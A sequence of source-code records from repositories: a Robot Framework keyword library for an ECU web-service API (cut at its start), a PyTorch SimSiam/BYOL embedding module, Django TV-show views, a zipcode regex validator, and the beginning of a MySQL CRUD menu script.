\"database-name\": \"BROOKFIELD_TEST\",\n \"file\": \"BROOKFIELD_TEST.sqlite\",\n \"is-default\": false,\n \"site-alias\": \"2\",\n \"site-id\": \"8228B93D-F756-4EBD-B9C0-A6F0A4BF7B94\",\n \"update-id\": \"A25E7205-1403-496D-B057-FA5A324D08CE\"\n }\n ]\n\n .. code:: robotframework\n\n *** Variable ***\n ${IP} 172.24.172.111\n ${site_original} Site management test\n\n *** Test Cases ***\n Sample\n Login ${user} ${pass} # SESSION0 is returned\n Get database information\n Get database information SESSION0\n Get Database Information expected_site_name=${site_original}\n\n For more information, visit `/db-info`_.\n \n .. _/db-info: http://http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/db-info\n \"\"\"\n response = self._assert_non_json_response_stop_on_error(self._get('db-info', session_index=session_index), True)\n\n assert json.loads(response), AssertionError('Empty or invalid response from db-info API call')\n # logger.info('Received database response\\n'\n # '{0}'.format(response))\n\n #Extract site ids\n siteinfo.site_ids = dict()\n\n for site in json.loads(response):\n _site_index = 'SITE{0}'.format(len(siteinfo.site_ids))\n # logger.info('_site_index is {0}'.format(_site_index))\n # logger.info(siteinfo.site_ids)\n # logger.info(site.keys())\n\n assert 'site-id' in site.keys(), KeyError('Unable to find site-id')\n if site['site-id'] not in siteinfo.site_ids.values():\n siteinfo.site_ids[_site_index] = site['site-id']\n\n assert 'database-name' in site.keys(), KeyError('Unable to find database-name')\n if site['database-name'] not in siteinfo.site_names.values():\n siteinfo.site_names[_site_index] = site['database-name']\n\n assert 'file' in site.keys(), KeyError('Unable to find file')\n\n if expected_site_name is not '':\n # response is a string, inside string it is a list, inside list it is a dictionary\n # logger.info('response is {0} {1}'.format(response, type(response)))\n response_list = json.loads(response)\n # logger.info('response_object is {0} {1}'.format(response_list, type(response_list)))\n response_dictionary = response_list[0]\n # logger.info('response[0] is {0} {1}'.format(response_dictionary, type(response_dictionary)))\n # logger.info('expected_site_name is {0} {1}'.format(expected_site_name, type(response_dictionary)))\n assert response_dictionary[\"database-name\"] == expected_site_name, AssertionError(\n 'Expect site name to be {0}, but it actually is {1}'.format(expected_site_name, response_dictionary[\"database-name\"]))\n\n # logger.info(type(response)) # \n # logger.info(type(json.loads(response))) #\t\n # logger.info(type(json.loads(response)[0])) # \n return json.loads(response)\n\n def get_update_id(self, session_index=''):\n \"\"\" Returns update id\n\n Parse the update id out from the return of Get Database Information\n\n Variable\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Variable ***\n ${IP} 172.24.172.111\n ${user} sysadmin\n ${pass} password\n ${tbl_add} SEPARATOR=\\\\n\n ... {\n ... \"lock-id\": \"\",\n ... \"add\": [\n ... {\n ... \"db_info\": [\n ... {\"DB_DATA\": \"\", \"DB_NAME\": \"Jia\", \"DB_VALUE\": \"7+\"}\n ... ]\n ... }\n ... ]\n ... }\n\n *** Test Cases ***\n Sample\n Connect to web services ${IP} ${user} ${pass}\n Get user list\n ${lock_id}= Lock configuration USER0 force=true\n ${update_id}= get update id\n Get database information\n Update tables site_index=SITE0 json_payload=${tbl_add} update_id=${update_id} lock_id=${lock_id}\n\n For more information, visit `/db-info`_.\n\n .. _/db-info: http://http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/db-info\n \"\"\"\n update_id = self.get_database_information(session_index)[0]['update-id']\n return update_id\n\n def get_ecu_information(self, session_index=''):\n \"\"\" Requests ECU Information\n \n The ECU responds with the following information\n \n .. code:: python\n \n {\n \"firmware-version\" : \"4.0.0.128\",\n \"hw-config\" : \"ZigBee\",\n \"ecu-offset\" : 181,\n \"is-master\" : true,\n \"ecu-architecture\" : \"linux-armv5|linux-armv7|windows-x86\"\n }\n \n For more information, visit `/ecu-info`_.\n \n .. _/ecu-info: http://http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/ecu-info\n \"\"\"\n response = self._assert_json_response_stop_on_error(self._get('ecu-info', session_index=session_index))\n return response\n\n def get_ecu_offset(self, session_index=''):\n \"\"\" Returns ECU Offset\n\n Parse the ECU offset (int) out from the return of Get ECU Information\n\n .. code:: robotframework\n\n *** Test Cases ***\n Sample\n ${ecu_offset}= get ecu offset\n\n For more information, visit `/ecu-info`_.\n\n .. _/ecu-info: http://http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/ecu-info\n \"\"\"\n ecu_offset = self.get_ecu_information(session_index)['ecu-offset']\n # if ecu_offset = 0 then the ECU is not part of a site\n # when the ECU is part of a site, the ecu_offset should be an integer equal or larger than 100\n return ecu_offset\n\n def change_local_ip(self, json_payload, session_index=''):\n \"\"\" Change network configuration of Encelium network adapter of ECU.\n\n Returns success or fail.\n\n Variable\n *json_payload*\n - specify dhcp, netmask, gateways, ip address\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Variable ***\n ${payload} SEPARATOR=\\n\n ... {\n ... \"Dhcp\": false,\n ... \"Netmask\": \"255.255.255.0\",\n ... \"Gateways\": [\"172.24.172.1\"],\n ... \"Address\": \"172.24.172.222\"\n ... }\n\n *** Test Cases ***\n Sample\n change local ip json_payload=${payload}\n clean sessions\n Connect to web services ${IP_new} ${user} ${pass} ${version}\n change local ip json_payload=${original_master_IP} session_index=SESSION0\n\n For more information, visit `/local-network`_.\n\n .. _/local-network: http://wiki:8090/display/ERD/Data+Web+Service+API#DataWebServiceAPI-/api/local-network\n \"\"\"\n try:\n network_specification = json.loads(json_payload)\n except ValueError:\n raise ValueError('Invalid json payload!')\n\n for item in ('Dhcp', 'Netmask', 'Gateways', 'Address'):\n assert item in network_specification.keys(), AssertionError('Unable to find {0}'.format(item))\n\n response = self._assert_json_response_stop_on_error(self._post('local-network', json_payload, session_index=session_index))\n logger.info('input is {0}'.format(network_specification))\n logger.info('response is {0}'.format(response))\n\n def get_local_ip(self, expected_ip=''):\n \"\"\" Get Local IP\n \n Requests the local IP information of the ECU.\n \n .. code:: python\n \n {\n \"ip-address\": \"192.168.1.1\",\n \"subnet-mask\": \"255.255.255.0\",\n \"is-routing\": false\n }\n \n For more information, visit `/local-ip`_.\n \n .. _/local-ip: http://http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/local-ip\n \"\"\"\n response = self._assert_json_response_stop_on_error(self._get('local-network'))\n if expected_ip is not '':\n assert response[\"ip-address\"] == expected_ip, AssertionError('Expect ECU IP to be {0}, but it actually is {1}'.format(expected_ip, response[\"ip-address\"]))\n return response[\"ip-address\"]\n\n def get_locator(self, local_only=True):\n \"\"\" Get Locator Information\n\n Requests the current locator results.\n The keyword \\`Start Locator\\` should be called prior to this keyword.\n\n .. code:: python\n\n {\n \"Results\" : [\n {\n \"Address\" : 100,\n \"Dns\" : {\n \"Domain\" : \"\",\n \"Servers\" : [ \"\", \"\", \"\" ]\n },\n \"EnceliumNetwork\" : {\n \"Address\" : \"192.168.97.203\",\n \"Dhcp\" : false,\n \"Gateways\" : [ \"\", \"\", \"\" ],\n \"HwAddr\" : \"00:14:2D:5B:C6:C4\",\n \"Netmask\" : \"255.255.255.0\",\n \"Port\" : 4533\n },\n \"Encryption\" : {\n \"Port\" : 0,\n \"PublicKey\" : \"\",\n \"Version\" : 0,\n \"VersionSupported\" : 0\n },\n \"FirmwareVersion\" : \"3.6.4.64180\",\n \"Id\" : \"000D6F000310F41C\",\n \"Name\" : \"Room Controller\",\n \"SiteId\" : \"0E8B6C4D-CA59-4280-A99C-C65B177BC7BC\",\n \"SiteName\" : \"brian\",\n \"TenantNetwork\" : {\n \"Address\" : \"\",\n \"Dhcp\" : true,\n \"Gateways\" : [ \"\", \"\", \"\" ],\n \"HwAddr\" : \"\",\n \"Netmask\" : \"\",\n \"Port\" : 4533\n },\n \"Type\" : {\n \"BusArch\" : [ \"ZigBee\" ],\n \"HwArch\" : \"ZigBee\",\n \"OsVersion\" : \"2.08___64180___2017-\",\n \"ProcessorArch\" : \"ARMv7\",\n \"SystemArch\" : \"Mini\",\n \"SystemType\" : 0\n },\n \"WlanNetwork\" : {\n \"Address\" : \"\",\n \"Channel\" : 1,\n \"Dhcp\" : true,\n \"DhcpLeaseTime\" : 72,\n \"DhcpRange\" : \"172.24.173.2,172.24.173.200\",\n \"Gateways\" : [ \"\", \"\", \"\" ],\n \"HwAddr\" : \"74:DA:38:8B:25:27\",\n \"MasterHwAddr\" : \"74:DA:38:8B:25:27\",\n \"Netmask\" : \"\",\n \"Ssid\" : \"ENC-0310F41C\"\n }\n }\n ],\n \"Timestamp\" : \"18/04/2017 18:16:15 PM\"\n }\n\n For more information, visit `/locator`_.\n\n .. _/locator: http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/locator\n \"\"\"\n _input = dict()\n # every input from Robot Frame work is a string, we need to convert them to BOOL and NONE types\n if str(local_only).lower() == 'none':\n self._assert_json_response_stop_on_error(self._get('locator'))\n else:\n if str(local_only).lower() == 'true':\n local_only = True\n elif str(local_only).lower() == 'false':\n local_only = False\n _input['local-only'] = local_only\n self._assert_json_response_stop_on_error(self._get('locator', json.dumps(_input)))\n\n def start_locator(self, local_only):\n \"\"\" Start Locator Service\n \n Starts the locator on the ECU to scan the network.\n\n .. code:: robotframework\n\n *** Test Cases ***\n Sample\n Start Locator local_only=True\n Start Locator local_only=False\n Start Locator local_only=\n \n For more information, visit `/locator`_.\n \n .. _/locator: http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/locator\n \"\"\"\n _input = dict()\n # every input from Robot Frame work is a string, we need to convert them to BOOL and NONE types\n if str(local_only).lower() == 'none':\n self._assert_json_response_stop_on_error(self._post('locator'))\n else:\n if str(local_only).lower() == 'true':\n local_only = True\n elif str(local_only).lower() == 'false':\n local_only = False\n _input['local-only'] = local_only\n self._assert_json_response_stop_on_error(self._post('locator', json.dumps(_input)))\n\n def configuration_lock_status(self, lock_id, session_index=''):\n \"\"\" Configuration Lock Status\n\n Queries the ECU for the configuration lock status.\n If the configuration is locked, a json response will be returned.\n If configuration is not locked, response is empty.\n\n For more information, visit `/configure-lock`_.\n\n .. _/configure-lock: http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/configure-lock\n \"\"\"\n\n _input = dict()\n # every input from Robot Frame work is a string, we need to convert them to BOOL and NONE types\n if str(lock_id).lower() == 'none':\n response = self._assert_json_response_stop_on_error(self._get('configure-lock', session_index=session_index))\n else:\n _input['lock-id'] = lock_id\n logger.info('input is {0}'.format(_input))\n response = self._assert_json_response_stop_on_error(self._get('configure-lock', json.dumps(_input), session_index=session_index))\n\n if response['lock']:\n logger.info('Configuration has been previously locked')\n else:\n logger.info('There is no configuration lock')\n\n return response\n\n def lock_configuration(self, user_index, force, session_index=''):\n \"\"\" Lock Configuration \n \n Attempts to lock configuration of webservices.\n If successful, a lock id will be return. \n If unsuccessful, a json response will be returned with the configuration lock information\n\n Variable\n *user_index*\n - which user you want to lock, call Get User List before.\n *force*\n - If configuration is locked by another user, current lock information is returned unless the \"force\" flag is true.\n - \"force\" is an optional flag in the input json.\n - If it is true, ECU does not check if lock is currently taken by another user and acquires the lock for the current user.\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Variable ***\n ${user} sysadmin\n ${pass} newpassword\n\n *** Test Cases ***\n Sample\n Login ${user} ${pass}\n Get user list\n Lock configuration USER0\n\n For more information, visit `/configure-lock`_.\n \n .. _/configure-lock: http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/configure-lock\n \"\"\"\n assert user_index in usersinfo.user_names.keys(), AssertionError('Invalid user {0}, '\n 'please select from the following users {1}'\n .format(user_index, usersinfo.user_names.keys()))\n\n assert user_index in usersinfo.user_groups.keys(), AssertionError('Invalid user {0}, '\n 'please select from the following users {1}'\n .format(user_index, usersinfo.user_groups.keys()))\n\n _json_payload = dict()\n _json_payload['user-name'] = usersinfo.user_names[user_index]\n _json_payload['user-group'] = usersinfo.user_groups[user_index]\n\n # every input from Robot Frame work is a string, we need to convert them to BOOL and NONE types\n if str(force).lower() != 'none':\n if str(force).lower() == 'true':\n force = True\n elif str(force).lower() == 'false':\n force = False\n _json_payload['force'] = force\n\n logger.info('input is {0}'.format(_json_payload))\n response = self._assert_json_response_stop_on_error(self._post('configure-lock', json.dumps(_json_payload), session_index=session_index))\n\n if 'lock-id' in response:\n _Misc_Keywords.lock_id = response['lock-id']\n logger.info('Configuration locked!')\n return _Misc_Keywords.lock_id\n else:\n raise AssertionError('Configuration lock unsuccessful!')\n\n def unlock_configuration(self, force, session_index=''):\n \"\"\" Unlock Configuration\n \n Attempts to unlock the configuration.\n\n Variable\n *force*\n - \"force\" flag is optional in input json string.\n - If force is set to true, server does not check the configured lock-id and deletes the current lock.\n - If \"force\" is false or not preset in input json, \"lock-id\" should match the current lock-id to be deleted.\n - Otherwise, an \"invalid lock id\" error is returned.\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Test Cases ***\n Sample\n Unlock configuration force=True\n\n For more information, visit `/configure-lock`_.\n \n .. _/configure-lock: http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/configure-lock\n \"\"\"\n\n _json_payload = dict()\n if _Misc_Keywords.lock_id is None:\n _Misc_Keywords.lock_id = 'give invalid id to test force=True otherwise will complain the lock_id type'\n _json_payload['lock-id'] = _Misc_Keywords.lock_id\n\n # every input from Robot Frame work is a string, we need to convert them to BOOL and NONE types\n if str(force).lower() != 'none':\n if str(force).lower() == 'true':\n force = True\n elif str(force).lower() == 'false':\n force = False\n _json_payload['force'] = force\n\n logger.info('input is {0}'.format(_json_payload))\n self._assert_json_response_stop_on_error(self._delete('configure-lock', json.dumps(_json_payload), session_index=session_index))\n _Misc_Keywords.lock_id = None\n\n def wink_ecu(self):\n \"\"\" Make the ECU identify itself via the wink (e.g. flash the blue light on the WM)\n\n Calling this will cause the ECU to wink.\n\n .. code:: robotframework\n\n *** Test Cases ***\n Sample\n wink ecu\n\n For more information, visit `/wink`_.\n\n .. _/wink: http://wiki:8090/display/ERD/Data+Web+Service+API#DataWebServiceAPI-/api/wink\n \"\"\"\n self._assert_json_response_stop_on_error(self._post('wink'))\n\n def validate_session(self, session_id='', session_index='', is_valid=True):\n \"\"\" Validate if a session id is valid\n\n Variable\n *session_id*\n - optional input, needs to specify either session_id or session_index\n *session_index*\n - optional input, needs to specify either session_id or session_index\n *is_valid*\n - do you expect the session id or session index to be valid or not\n\n .. code:: robotframework\n\n *** Variable ***\n ${IP} 172.24.172.111\n ${user} sysadmin\n ${pass} 12345\n\n *** Test Cases ***\n Sample\n Connect to web services ${IP} ${user} ${pass} ${version} # SESSION0 is returned\n validate session session_index=SESSION0\n logout\n validate session session_index=SESSION0 is_valid=False\n\n For more information, visit `/session`_.\n\n .. _/session: http://wiki:8090/display/ERD/Data+Web+Service+API#DataWebServiceAPI-/api/session\n \"\"\"\n _input = dict()\n if session_id != '' and session_index == '':\n _input['session-id'] = session_id\n elif session_id == '' and session_index != '':\n assert session_index in _WebServiceCore.session_ids.keys(), \\\n AssertionError(\n 'Unable to find {0} from {1}'.format(session_index, _WebServiceCore.session_ids.keys()))\n _input['session-id'] = _WebServiceCore.session_ids[session_index]\n else:\n assert False, AssertionError('Pass in either session_id or session_index.')\n logger.info('_input is {0}'.format(_input))\n response = self._assert_json_response_stop_on_error(self._get('session', json.dumps(_input)), True)\n\n if is_valid=='True':\n is_valid = True\n elif is_valid=='False':\n is_valid = False\n assert response['session']['is-valid'] == bool(is_valid), \\\n AssertionError('session id is {0}, expect it to be {1}.'.format(response['session']['is-valid'], is_valid))\n\n def get_master_info(self, session_index=''):\n \"\"\" Get current \"master pointing\" information\n\n Get current \"master pointing\" information\n\n Variable\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Test Cases ***\n Sample\n Get Master Info\n\n For more information, visit `/master-info`_.\n\n .. _/master-info: http://wiki:8090/display/ERD/Data+Web+Service+API#DataWebServiceAPI-/api/master-info\n \"\"\"\n self._assert_json_response_stop_on_error(self._get('master-info', session_index=session_index))\n\n def set_master_info(self, json_payload, site_index, session_index=''):\n \"\"\" Set the current \"master pointing\" information.\n\n Set the current \"master pointing\" information.\n This will be periodically called by the master of the site to maintain the \"mastering\" information on all ECUs.\n\n Variable\n *json_payload*\n - string that contains json configuration information\n - passed as a robot framework variable\n *site_index*\n - reference to the site id index generated by reading the ECU databases\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Variable ***\n ${master_info} SEPARATOR=\\n\n ... {\n ... \"master-ecu-ip\": \"172.24.172.100\",\n ... \"site-id\" : \"\"\n ... }\n\n *** Test Cases ***\n Sample\n Connect to web services ${master_IP} ${user} ${pass} ${version}\n Get database information\n Logout\n Connect to web services ${slave_IP} ${user} ${pass} ${version}\n Set Master Info json_payload=${master_info} site_index=SITE0\n\n For more information, visit `/master-info`_.\n\n .. _/master-info: http://wiki:8090/display/ERD/Data+Web+Service+API#DataWebServiceAPI-/api/master-info\n \"\"\"\n try:\n master_info = json.loads(json_payload)\n except ValueError:\n raise ValueError('Invalid json payload!')\n\n assert 'master-ecu-ip' in master_info.keys(), AssertionError('Unable to find master ecu address.')\n assert 'site-id' in master_info.keys(), AssertionError('Unable to find master ecu address.')\n\n self.validate_site_id(site_index)\n master_info['site-id'] = siteinfo.site_ids[site_index]\n\n self._assert_json_response_stop_on_error(\n self._post('master-info', json.dumps(master_info), session_index=session_index))\n","repo_name":"qijia00/RobotFramework_AcceptanceTestDrivenDevelopment_Python","sub_path":"src/WebServiceLibrary/keywords/_misc_keywords.py","file_name":"_misc_keywords.py","file_ext":"py","file_size_in_byte":34331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"40271721790","text":"from dsb.dependencies import *\n\nfrom dsb.utils import torchify, untorchify, compute_output_shape\nfrom dsb.agents.utils import update_target_network\nimport dsb.builder as builder\nfrom dsb.builder import module_reset_parameters\n\n\n# original ref: https://github.com/facebookresearch/simsiam/blob/a7bc1772896d0dad0806c51f0bb6f3b16d290468/simsiam/builder.py\n# also https://github.com/PatrickHua/SimSiam\nclass SimSiam(nn.Module):\n # SimSiam is just BYOL w/o momentum encoder\n #\n # Training tip: Should see embedding_loss decrease quickly to -0.7 to -0.9 range.\n # If it reaches -1 immediately, then model has probably diverged.\n # If the loss is oscillating around the -0.4 to -0.6 range then try increasing\n # embedding_dim.\n # See Figure 2 of SimSiam.\n\n def __init__(\n self,\n obs_space,\n encoder_network_params=[],\n embedding_dim=2048, # latent dim\n # optim_params=dict(cls='Adam', lr=3e-4, weight_decay=1e-4), # NOTE: SimSiam uses SGD w/ momentum, weight decay, & cosine decay schedule\n optim_params=dict(cls='SGD', lr=0.05, weight_decay=1e-4, momentum=0.9),\n optimize_interval=1,\n detach_embedding=False, # if True, detach so other losses will not update encoder\n #\n aug_params=None,\n detach_augmented=True,\n extra_aug_params=None,\n forward_aug_params='same',\n prediction_head_bottleneck_dim=512, # see appendix B of https://arxiv.org/pdf/2011.10566.pdf\n symmetric=True,\n use_target_for_pair=False, # if True, then use momentum encoder, so becomes BYOL\n tau=0.005,\n ):\n super().__init__()\n assert len(obs_space.shape) == 3 # check if image space\n self.obs_space = obs_space\n self.embedding_dim = embedding_dim\n self.detach_embedding = detach_embedding\n self.detach_augmented = detach_augmented\n\n self.symmetric = symmetric\n self.use_target_for_pair = use_target_for_pair\n self.tau = tau\n\n in_channels = self.obs_space.shape[0]\n img_size = (self.obs_space.shape[1], self.obs_space.shape[2])\n\n self.aug = builder.build_aug(aug_params, img_size=img_size)\n # TODO: extra_aug applied on top of aug, so change img_size\n self.extra_aug = builder.build_aug(extra_aug_params, img_size=img_size)\n\n # TODO: add flag to change forward_aug in train vs. eval\n if forward_aug_params == 'same':\n self.forward_aug = self.aug\n else:\n self.forward_aug = builder.build_aug(forward_aug_params, img_size=img_size)\n\n self.encoder = builder.build_network_modules(\n encoder_network_params, in_channels=in_channels\n )\n self.encoder = nn.Sequential(*self.encoder)\n\n self.conv_output_shape, n_flatten = compute_output_shape(\n self.obs_space.sample(), self.encoder, aug=self.aug\n )\n # TODO: check that extra_aug doesn't change shape?\n\n # NOTE:\n # SimSiam follows SimCLR and discards f for downstream tasks?\n # for now we just give the projection_head as output.\n # also check out https://arxiv.org/pdf/2010.10241.pdf\n # and https://untitled-ai.github.io/appendix-for-understanding-self-supervised-contrastive-learning.html\n # for replacing batchnorm ideas\n\n # https://github.com/facebookresearch/simsiam/blob/a7bc1772896d0dad0806c51f0bb6f3b16d290468/simsiam/builder.py#L26\n self.projection_head = nn.Sequential(\n *[ # f\n nn.Linear(n_flatten, embedding_dim, bias=False),\n nn.BatchNorm1d(embedding_dim),\n nn.ReLU(inplace=True),\n nn.Linear(embedding_dim, embedding_dim, bias=False),\n nn.BatchNorm1d(embedding_dim),\n nn.ReLU(inplace=True),\n nn.Linear(embedding_dim, embedding_dim, bias=False),\n nn.BatchNorm1d(embedding_dim, affine=False), # see section 4.4 of SimSiam\n ]\n )\n\n self.prediction_head = nn.Sequential(\n *[ # h\n nn.Linear(embedding_dim, prediction_head_bottleneck_dim, bias=False),\n nn.BatchNorm1d(prediction_head_bottleneck_dim),\n nn.ReLU(inplace=True),\n nn.Linear(prediction_head_bottleneck_dim, embedding_dim),\n ]\n )\n\n self.optimizer = builder.build_optim(optim_params, params=self.parameters())\n self.optimize_interval = optimize_interval\n\n self.reset_parameters()\n\n def reset_parameters(self):\n self.encoder.apply(module_reset_parameters)\n self.projection_head.apply(module_reset_parameters)\n self.prediction_head.apply(module_reset_parameters)\n\n self._create_target_networks()\n\n def _create_target_networks(self):\n if self.use_target_for_pair:\n self.encoder_target = copy.deepcopy(self.encoder)\n self.encoder_target.load_state_dict(self.encoder.state_dict())\n\n self.projection_head_target = copy.deepcopy(self.projection_head)\n self.projection_head_target.load_state_dict(self.projection_head.state_dict())\n\n def forward(self, x, with_conv_output=False, detach_embedding=None):\n if self.forward_aug:\n if self.detach_augmented:\n with torch.no_grad():\n x = self.forward_aug(x)\n else:\n x = self.forward_aug(x)\n\n z = self.encode(x)\n\n detach_embedding = (\n detach_embedding if detach_embedding is not None else self.detach_embedding\n )\n if detach_embedding:\n z = z.detach()\n\n if with_conv_output:\n raise NotImplementedError\n else:\n return z\n\n def encode(self, x):\n h = self.encoder(x)\n h = h.flatten(start_dim=1)\n z = self.projection_head(h)\n return z\n\n def _encode_target(self, x):\n h = self.encoder_target(x)\n h = h.flatten(start_dim=1)\n z = self.projection_head_target(h)\n return z\n\n def D(self, p, z):\n return -F.cosine_similarity(p, z.detach(), dim=-1).mean() # note the stop_gradient\n\n # BYOL also does, see https://github.com/lucidrains/byol-pytorch/blob/8efcc905d565b6ca33a9c7d814cb0687bc06a282/byol_pytorch/byol_pytorch.py#L40\n # and https://github.com/astooke/rlpyt/blob/b05f954e88fc774d61c6504ebe62ff71a181ad7a/rlpyt/ul/algos/ul_for_rl/augmented_temporal_similarity.py#L142\n\n def optimize(self, x, embedding_target=None):\n assert embedding_target is None\n opt_info = {}\n\n # augmentations should be different b/w views and elements in batch\n if self.detach_augmented:\n with torch.no_grad():\n x1, x2 = self.aug(x), self.aug(x)\n else:\n x1, x2 = self.aug(x), self.aug(x)\n\n if self.symmetric:\n z1, z2 = self.encode(x1), self.encode(x2)\n p1, p2 = self.prediction_head(z1), self.prediction_head(z2)\n\n if self.use_target_for_pair: # BYOL\n with torch.no_grad():\n z1_target = self._encode_target(x1)\n z2_target = self._encode_target(x2)\n\n loss = 0.5 * (self.D(p1, z2_target), self.D(p2, z1_target))\n else: # SimSiam\n loss = 0.5 * (self.D(p1, z2) + self.D(p2, z1))\n else:\n # SODA: https://github.com/nicklashansen/dmcontrol-generalization-benchmark/blob/ee658ceb449b884812149b922035197be8e28c87/src/algorithms/soda.py#L40\n # also see https://arxiv.org/pdf/2007.05929.pdf and https://arxiv.org/pdf/2007.04309.pdf\n\n if self.extra_aug:\n if self.detach_augmented:\n with torch.no_grad():\n x1 = self.extra_aug(x1)\n else:\n x1 = self.extra_aug(x1)\n\n z1 = self.encode(x1) # x1 is aug_x\n\n if self.use_target_for_pair:\n with torch.no_grad():\n z2 = self._encode_target(x2)\n else:\n z2 = self.encode(x2)\n\n p1 = self.prediction_head(z1)\n # h1 = F.normalize(p1, p=2, dim=1)\n # h2 = F.normalize(z2, p=2, dim=1)\n # loss = F.mse_loss(h1, h2.detach())\n loss = self.D(p1, z2.detach())\n\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n if self.use_target_for_pair:\n update_target_network(self.encoder, self.encoder_target, tau=self.tau)\n update_target_network(self.projection_head, self.projection_head_target, tau=self.tau)\n\n opt_info['embedding_head_loss'] = loss.item()\n\n # see section 4.1, https://arxiv.org/pdf/2011.10566.pdf#page=3\n output_std = torch.std(F.normalize(z1.detach(), dim=1), dim=1, unbiased=True)\n opt_info['output_std'] = untorchify(output_std.mean(dim=0))\n return opt_info\n\n @property\n def opt_info_keys(self):\n return ['embedding_head_loss']\n\n def state_dict(self, *args, **kwargs):\n state_dict = dict(\n model=super().state_dict(*args, **kwargs),\n optimizer=self.optimizer.state_dict(),\n )\n return state_dict\n\n def load_state_dict(self, state_dict):\n self.optimizer.load_state_dict(state_dict.pop('optimizer'))\n super().load_state_dict(state_dict['model'])\n","repo_name":"etaoxing/domain-shift-benchmark","sub_path":"dsb/embedding_heads/sim_siam.py","file_name":"sim_siam.py","file_ext":"py","file_size_in_byte":9418,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"35747373094","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\n\nfrom .models import *\n\ndef redirectMain(request):\n return redirect('/shows/')\n\ndef showAdd(request):\n return render(request, \"showAdd.html\")\n\ndef showDetails(request, showid):\n context = {\n \"show\" : show.objects.get(id=showid)\n }\n return render(request, \"showDetails.html\", context)\n\ndef showEdit(request, showid):\n context = {\n \"show\" : show.objects.get(id=showid)\n }\n return render(request, \"showEdit.html\", context)\n\ndef showList(request):\n context = {\n 'shows' : show.objects.all()\n }\n return render(request, \"showList.html\", context)\n\ndef createShow(request):\n errors = show.objects.basic_validator(request.POST)\n\n if len(errors) > 0:\n for key,value in errors.items():\n messages.error(request, value)\n return redirect('/shows/new/')\n else:\n created_show = show.objects.create(title=request.POST['title'],network=request.POST['network'],\n description=request.POST['description'],release_date=request.POST['release_date'])\n\n return redirect(f'/shows/{created_show.id}')\n\ndef alterShow(request, showid):\n this_show = show.objects.get(id=showid)\n this_show.title=request.POST['title']\n this_show.network=request.POST['network']\n this_show.release_date=request.POST['release_date']\n this_show.description=request.POST['description']\n this_show.save()\n\n return redirect(f'/shows/{showid}')\n\ndef deleteShow(request, showid):\n this_show = show.objects.get(id=showid)\n this_show.delete()\n return redirect('/shows/')","repo_name":"Eddie622/PythonTVShows","sub_path":"tvshowsApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"36816405906","text":"'''\r\nCreated on Dec 6, 2015\r\n\r\n@author: Nathan Guenther\r\n'''\r\n\r\nimport re\r\n\r\n# Ask user for input file\r\nfileName = input('Please enter the name of the file containing the input zipcodes: ')\r\n\r\n# Read and save file contents\r\nfileObj = open(fileName, 'r')\r\nallLines = fileObj.readlines()\r\nfileObj.close()\r\n\r\n# Regular Expression\r\ntest = '^\\d{5}(?:[-\\s]\\d{4})?$'\r\n\r\nprint('\\n\\n')\r\n# Check each zip code\r\nfor eachLine in allLines:\r\n #Regex check\r\n if re.search(test, eachLine):\r\n print(\"Match found - valid U.S. zipcode: \", eachLine)\r\n else: \r\n print(\"Error - no match - invalid U.S. zipcode: \", eachLine)\r\n ","repo_name":"nathang21/CNT-4603","sub_path":"Project 6/Submission/Source/zipcode.py","file_name":"zipcode.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"34681116266","text":"from Conexion import MySQLConect\r\n\r\ndef main():\r\n # Crea una instancia de la clase MySQLConect\r\n db = MySQLConect(Host=\"localhost\", User=\"root\", Password=\"153258\", Database=\"db_panaderia\")\r\n\r\n # Conecta a la base de datos\r\n db.conect()\r\n\r\n while True:\r\n print(\"Opciones:\")\r\n print(\"1. Consultar datos\")\r\n print(\"2. Insertar datos\")\r\n print(\"3. Actualizar datos\")\r\n print(\"4. Eliminar datos\")\r\n print(\"5. Consultar todos los datos de una tabla\")\r\n print(\"6. Salir\")\r\n\r\n opcion = input(\"Seleccione una opción: \")\r\n\r\n if opcion == \"1\":\r\n # Consulta de datos\r\n table = input(\"Ingrese el nombre de la tabla: \")\r\n id = input(\"Ingrese el ID a consultar: \")\r\n results = db.select_data(table, id)\r\n print(results)\r\n \r\n \r\n elif opcion == \"2\":\r\n # Inserción de datos\r\n table = input(\"Ingrese el nombre de la tabla: \")\r\n values = input(\"Ingrese los valores a insertar: \")\r\n db.insert_data(table, values) #Al insertar los valores debe hacerse entre parentesis y aplicando \"\" a los valores que son string\r\n \r\n \r\n elif opcion == \"3\":\r\n # Actualización de datos\r\n table = input(\"Ingrese el nombre de la tabla: \")\r\n column = input(\"Ingrese el nombre de la columna: \")\r\n new_value = input(\"Ingrese el nuevo valor: \")\r\n condition = input(\"Ingrese la condición: \")\r\n db.update_data(table, column, new_value, condition)\r\n \r\n \r\n elif opcion == 